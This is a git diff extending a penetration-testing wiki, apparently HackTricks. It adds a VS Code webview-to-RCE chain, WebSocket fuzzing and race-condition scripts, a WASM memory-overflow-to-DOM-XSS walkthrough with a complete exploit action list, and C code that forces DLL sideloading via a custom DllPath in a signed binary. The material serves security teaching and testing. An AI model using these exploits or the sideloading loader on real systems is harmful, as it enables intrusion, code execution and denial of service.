diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 289ed8513..54781c37c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -724,6 +724,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index ed124f26c..69c967da5 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -443,6 +443,30 @@ pentesting-web/content-security-policy-csp-bypass/ {{#endref}} +## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63) + +This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt + +Attack chain overview +- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId. +- Constructing target webview URL: Using the leaked ID to build `vscode-webview:///.../`. +- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`. +- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource. +- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution. + +Example RCE primitive in the final context +```js +// RCE.html (executed in a Node-enabled webview context) +require('child_process').exec('calc.exe'); // Windows +require('child_process').exec('/System/Applications/Calculator.app'); // macOS +``` + +Related reading on postMessage trust issues: + +{{#ref}} +../../../pentesting-web/postmessage-vulnerabilities/README.md +{{#endref}} + ## **Tools** - [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications. @@ -587,6 +611,10 @@ Detection and mitigations ## **References** +- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/) +- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt) +- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674) +- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908) - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) @@ -596,7 +624,6 @@ Detection and mitigations - [Loki C2](https://github.com/boku7/Loki/) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model) - - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) @@ -607,5 +634,3 @@ Detection and mitigations - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) {{#include ../../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 34455e8ad..875deb83a 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -382,7 +382,8 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se ## **RC in WebSockets** -In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. +- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. +- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). ## References @@ -392,6 +393,9 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) +- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index e5ed39a33..724d60692 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -99,6 +99,135 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) now allows to fuzz also WebSocket messages. You can read more infromation abou this [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner). +### WebSocket Turbo Intruder (Burp extension) + +PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components: + +- Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines. +- HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends. + +Basic script pattern to fuzz a WS endpoint and filter relevant responses: + +```python +def queue_websockets(upgrade_request, message): + connection = websocket_connection.create(upgrade_request) + for i in range(10): + connection.queue(message, str(i)) + +def handle_outgoing_message(websocket_message): + results_table.add(websocket_message) + +@MatchRegex(r'{\"user\":\"Hal Pline\"') +def handle_incoming_message(websocket_message): + results_table.add(websocket_message) +``` + +Use decorators like `@MatchRegex(...)` to reduce noise when a single message triggers multiple responses. + +### Bridge WS behind HTTP (HTTP Middleware) + +Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners: + +```python +def create_connection(upgrade_request): + connection = websocket_connection.create(upgrade_request) + return connection + +@MatchRegex(r'{\"user\":\"You\"') +def handle_incoming_message(websocket_message): + results_table.add(websocket_message) +``` + +Then send HTTP locally; the body is forwarded as the WS message: + +```http +POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 +Host: 127.0.0.1:9000 +Content-Length: 16 + +{"message":"hi"} +``` + +This lets you drive WS backends while filtering for “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior). + +### Socket.IO handling (handshake, heartbeats, events) + +Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`. + +Intruder example: + +```python +import burp.api.montoya.http.message.params.HttpParameter as HttpParameter + +def queue_websockets(upgrade_request, message): + connection = websocket_connection.create( + upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) + connection.queue('40') + connection.queue('42["message","hello"]') + +@Pong("3") +def handle_outgoing_message(websocket_message): + results_table.add(websocket_message) + +@PingPong("2", "3") +def handle_incoming_message(websocket_message): + results_table.add(websocket_message) +``` + +HTTP adapter variant: + +```python +import burp.api.montoya.http.message.params.HttpParameter as HttpParameter + +def create_connection(upgrade_request): + connection = websocket_connection.create( + upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) + connection.queue('40') + connection.decIn() + return connection + +@Pong("3") +def handle_outgoing_message(websocket_message): + results_table.add(websocket_message) + +@PingPong("2", "3") +def handle_incoming_message(websocket_message): + results_table.add(websocket_message) +``` + +### Detecting server‑side prototype pollution via Socket.IO + +Following PortSwigger’s safe detection technique, try polluting Express internals by sending a payload like: + +```json +{"__proto__":{"initialPacket":"Polluted"}} +``` + +If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See: + +- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas. + +### WebSocket race conditions with Turbo Intruder + +The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`. + +- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”). + +### WebSocket DoS: malformed frame “Ping of Death” + +Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script. + +### CLI and debugging + +- Headless fuzzing: `java -jar WebSocketFuzzer-.jar ` +- Enable the WS Logger to capture and correlate messages using internal IDs. +- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters. +- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive. + +### Operational safety + +High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted. + ## Cross-site WebSocket hijacking (CSWSH) **Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures. @@ -204,7 +333,13 @@ h2c-smuggling.md - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) +- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066) +- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) +- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers) +- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC) +- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) +- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py) {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index b173eb4af..f909473eb 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -894,6 +894,17 @@ You could make the **administrator trigger your self XSS** and steal his cookies ## Other Bypasses +### Bypassing sanitization via WASM linear-memory template overwrite + +When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "

%.*s

" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render. + +Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} + + ### Normalised Unicode You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md new file mode 100644 index 000000000..c0aa6d93c --- /dev/null +++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md @@ -0,0 +1,136 @@ +# WebAssembly linear memory corruption to DOM XSS (template overwrite) + +{{#include ../../banners/hacktricks-training.md}} + +This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string. + +Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript. + +Threat model and preconditions +- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module. +- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers). +- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory. +- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy). + +Minimal vulnerable data model (example) +```c +typedef struct msg { + char *msg_data; // pointer to message bytes + size_t msg_data_len; // length after sanitization + int msg_time; // timestamp + int msg_status; // flags +} msg; + +typedef struct stuff { + msg *mess; // dynamic array of msg + size_t size; // used + size_t capacity; // allocated +} stuff; // global chat state in linear memory +``` + +Vulnerable logic pattern +- addMsg(): allocates a new buffer sized to the sanitized input and appends a msg to s.mess, doubling capacity with realloc when needed. +- editMsg(): re-sanitizes and memcpy’s the new bytes into the existing buffer without ensuring the new length ≤ old allocation → intra‑linear‑memory heap overflow. +- populateMsgHTML(): formats sanitized text with a baked stub like "

%.*s

" residing in linear memory. The returned HTML lands in a DOM sink (e.g., innerHTML). + +Allocator grooming with realloc() +```c +int add_msg_to_stuff(stuff *s, msg new_msg) { + if (s->size >= s->capacity) { + s->capacity *= 2; + s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg)); + if (s->mess == NULL) exit(1); + } + s->mess[s->size++] = new_msg; + return s->size - 1; +} +``` +- Send enough messages to exceed the initial capacity. After growth, realloc() often places s->mess immediately after the last user buffer in linear memory. +- Overflow the last message via editMsg() to clobber fields inside s->mess (e.g., overwrite msg_data pointers) → arbitrary pointer rewrite within linear memory for data later rendered. + +Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source +- Sanitization protects input, not sinks. Find the format stub used by populateMsgHTML(), e.g.: + - "

%.*s

" → change to "" +- Locate the stub deterministically by scanning linear memory; it is a plain byte string within Module.HEAPU8. +- After you overwrite the stub, sanitized message content becomes the JavaScript handler for onerror, so adding a new message with text like alert(1337) yields and executes immediately in the DOM. + +Chrome DevTools workflow (Emscripten glue) +- Break on the first Module.cwrap call in the JS glue and step into the wasm call site to capture pointer arguments (numeric offsets into linear memory). +- Use typed views like Module.HEAPU8 to read/write WASM memory from the console. +- Helper snippets: +```javascript +function writeBytes(ptr, byteArray){ + if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers"); + for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`); + HEAPU8[ptr+i]=byte; + } +} +function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); } +function readBytesAsChars(ptr,len){ + const bytes=HEAPU8.subarray(ptr,ptr+len); + return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join(''); +} +function searchWasmMemory(str){ + const mem=Module.HEAPU8, pat=new TextEncoder().encode(str); + for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int +``` + +End-to-end exploitation recipe +1) Groom: add N small messages to trigger realloc(). Ensure s->mess is adjacent to a user buffer. +2) Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 skips the leading '<' to keep tag alignment intact during the next edit. +3) Template rewrite: edit message 0 so its bytes overwrite the template with: "img src=1 onerror=%.*s ". +4) Trigger XSS: add a new message whose sanitized content is JavaScript, e.g., alert(1337). Rendering emits and executes. + +Example action list to serialize and place in ?s= (Base64-encode with btoa before use) +```json +[ + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"add","content":"hi","time":1756840476392}, + {"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080}, + {"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080}, + {"action":"add","content":"alert(1337)","time":1756840476392} +] +``` + +Why this bypass works +- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy. +- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM. +- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory. + +Generalization and other attack surface +- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream. +- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches. + +Defensive guidance +- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity. +- Keep immutable templates out of writable linear memory or integrity-check them before use. +- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth. +- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating. +- Avoid trusting URL-embedded state for privileged flows. + +## References +- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/) +- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline) +- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff) +- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t) +- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index d60f448a2..5c2136fdf 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -61,6 +61,99 @@ Finally, note that **a dll could be loaded indicating the absolute path instead There are other ways to alter the ways to alter the search order but I'm not going to explain them here. +### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath + +An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory. + +Key idea +- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives). +- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE. + +Notes/limitations +- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only. +- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories). +- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence. + +Minimal C example (ntdll, wide strings, simplified error handling): + +```c +#include +#include +#pragma comment(lib, "ntdll.lib") + +// Prototype (not in winternl.h in older SDKs) +typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( + PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + PUNICODE_STRING ImagePathName, + PUNICODE_STRING DllPath, + PUNICODE_STRING CurrentDirectory, + PUNICODE_STRING CommandLine, + PVOID Environment, + PUNICODE_STRING WindowTitle, + PUNICODE_STRING DesktopInfo, + PUNICODE_STRING ShellInfo, + PUNICODE_STRING RuntimeData, + ULONG Flags +); + +typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation +); + +static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { + DWORD n = GetModuleFileNameW(h, out, cch); + for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; } +} + +int wmain(void) { + // Target Microsoft-signed, DLL-hijackable binary (example) + const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe"; + + // Build custom DllPath = directory of our current module (e.g., the unpacked archive) + wchar_t dllDir[MAX_PATH]; + DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH); + + UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; + RtlInitUnicodeString(&uImage, image); + RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\""); + RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory + RtlInitUnicodeString(&uCurDir, dllDir); + + RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = + (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx"); + RtlCreateUserProcess_t pRtlCreateUserProcess = + (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess"); + + RTL_USER_PROCESS_PARAMETERS *pp = NULL; + NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, + NULL, NULL, NULL, NULL, NULL, 0); + if (st < 0) return 1; + + RTL_USER_PROCESS_INFORMATION pi = {0}; + st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); + if (st < 0) return 1; + + // Resume main thread etc. if created suspended (not shown here) + return 0; +} +``` + +Operational usage example +- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory. +- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL. + +This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory. + + #### Exceptions on dll search order from Windows docs Certain exceptions to the standard DLL search order are noted in Windows documentation: @@ -277,6 +370,9 @@ Lenovo released UWP version **1.12.54.0** via the Microsoft Store, which install - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) +- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/) + + {{#include ../../../banners/hacktricks-training.md}}